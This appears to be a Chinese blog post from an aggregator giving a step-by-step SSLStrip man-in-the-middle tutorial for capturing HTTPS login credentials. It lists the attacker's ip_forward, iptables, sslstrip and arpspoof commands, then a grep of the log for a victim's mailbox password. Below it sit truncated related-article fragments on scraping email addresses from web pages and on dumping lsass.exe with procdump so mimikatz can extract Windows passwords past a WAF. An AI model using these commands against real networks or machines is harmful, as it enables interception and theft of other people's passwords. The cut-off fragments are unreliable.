利用SSLStrip截获https协议--抓取邮箱等密码

1、SSL解析

SSL 是 Secure Socket Layer 的简称, 中文意思是安全套接字层,由 NetScape公司所开发,用以保障在 Internet 上数据传输的安全,确保数据在网络的传输过程中不会被截取和窃听。

SSL 协议提供的服务主要有:
  (1)认证用户和服务器,确保数据发送到正确的客户和服务器。
  (2)加密数据以防止数据中途被窃取。
  (3)维护数据的完整性,确保数据在传输过程中不被改变。

2、SSLStrip

SSLStrip 的工作原理及步骤如下:
  (1) 先进行中间人攻击来拦截 HTTP 流量。
  (2) 将出现的 HTTPS 链接全部替换为 HTTP,同时记下所有改变的链接。
  (3) 使用 HTTP 与受害者机器连接。
  (4) 同时与合法的服务器建立 HTTPS。
  (5) 受害者与合法服务器之间的全部通信经过了代理转发。

  (6) 其中,出现的图标被替换成为用户熟悉的“小黄锁”图标,以建立信任。

  (7) 这样,中间人攻击就成功骗取了密码、账号等信息,而受害者一无所知。

注:下载地址:http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

3、SSLStrip进行攻击

  测试环境:攻击机(kali)+受害机(随意)

  攻击者:

    启动网卡混杂模式:echo "1">/proc/sys/net/ipv4/ip_forward

    添加防火墙规则:iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 9527

      -t:制定命令要操作的匹配包的表

      -A:在选择的链末添加规则

      -p:制定协议

      --dport:制定端口

      -j:目标跳转

    开启SSLStrip:python sslstrip.py -a -l 9527 -w sslstrip.log

      -a:记录所有来自服务器的ssl和Http数据流量内容;

      -l:监听端口

      -w:保存文件

    开启arp欺骗:arpspoof -i eth0 -t 192.168.133.130(受害机) 192.168.133.2(网关)

  受害机登陆126邮箱

  攻击者查看日志:cat sslstrip.log | grep "邮箱名"

据说打了码可以去掉,这里就不上图了~~~~

时间: 2024-10-21 19:28:50

利用SSLStrip截获https协议--抓取邮箱等密码的相关文章

java中使用 正则 抓取邮箱

我们来抓取豆瓣网的邮箱吧!把这个页面的所有邮箱都抓取下来 如https://www.douban.com/group/topic/8845032/: 代码如下: package cn.zhangzong.test; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnectio

通过WebClient类来发起请求并下载html 抓取邮箱 图片

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Text.RegularExpressions; using System.IO; namespace 通过WebClient类来发起请求并下载html 抓取邮箱 图片 { class Program { static void Main(string[] args

[python]利用selenium模拟用户操作抓取天猫评论数据

准备: python3.5 安装selenium包 第一种方法: cmd里输pip install selenium,但是经常报错 第二种方法: 下载安装包-cmd进入解压路径-python setup.py install-报错permission denied-右键安全更改报错文件夹权限为完全控制-再次安装成功unknown error: unable to discover open pages-下载chromedriver放在环境变量目录下测试自动打开百度时提示"您使用的是不受支持的命令

winform网页抓取邮箱单发群发并有附件

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Threading; using System.Net.Mail; using System.Net; u

java平台利用jsoup开发包,抓取优酷视频播放地址与图片地址等信息。

/******************************************************************************************** * author:[email protected]大钟 * E-mail:[email protected] * http://blog.csdn.net/conowen * 注:本文为原创.仅作为学习交流使用,转载请标明作者及出处. *************************************

利用Selenium制作python数据抓取,以及对Selenium资源介绍

当当当~第三篇博客开始啦~ 这次的话题是数据抓取.终于到了核心部分的探讨,我的心情也是非常激动啊!如果大家baidu或者google(如果可以的话)数据抓取或者data crawling,将会找到数以千计的例子.但是大多数的代码非常的冗长,并且许多代码还是抓取静态数据之后,对动态JS写成的数据却毫无办法.或者,利用HTML解析网址后,再找到JS写的数据页面来寻找到所想要的数据. 但是!不知各位是否有发现过,如果打开chrome或者safari或者各种浏览器的审查元素.网页上能看到的数据,其实都会

抓取邮箱及资源

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using System.Net; u

网页抓取邮箱

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.IO; using System.Net; using System.Text; using System.Text.RegularExpressions; using System.Windows.Forms; namespace Wi

mimikaz在waf下抓取windows明文密码

当拿到目标服务器时,我们一般会使用神器mimkaz来抓取目标服务器的明文密码,但是如果目标服务器配置了waf,mimikaz无法抓取时,这是可以将存有帐号密码的dmp文件下载到本地来使用mimikaz抓取. 实现自己搭建一个与目标机器同样的系统环境.然后利用如下命令来下载dmp文件; procdump.exe -accepteula -ma lsass.exe %COMPUTERNAME%_lsass.dmp 这个procdump.exe是微软工具包中的一个工具,不会被杀毒ban了,将该dmp下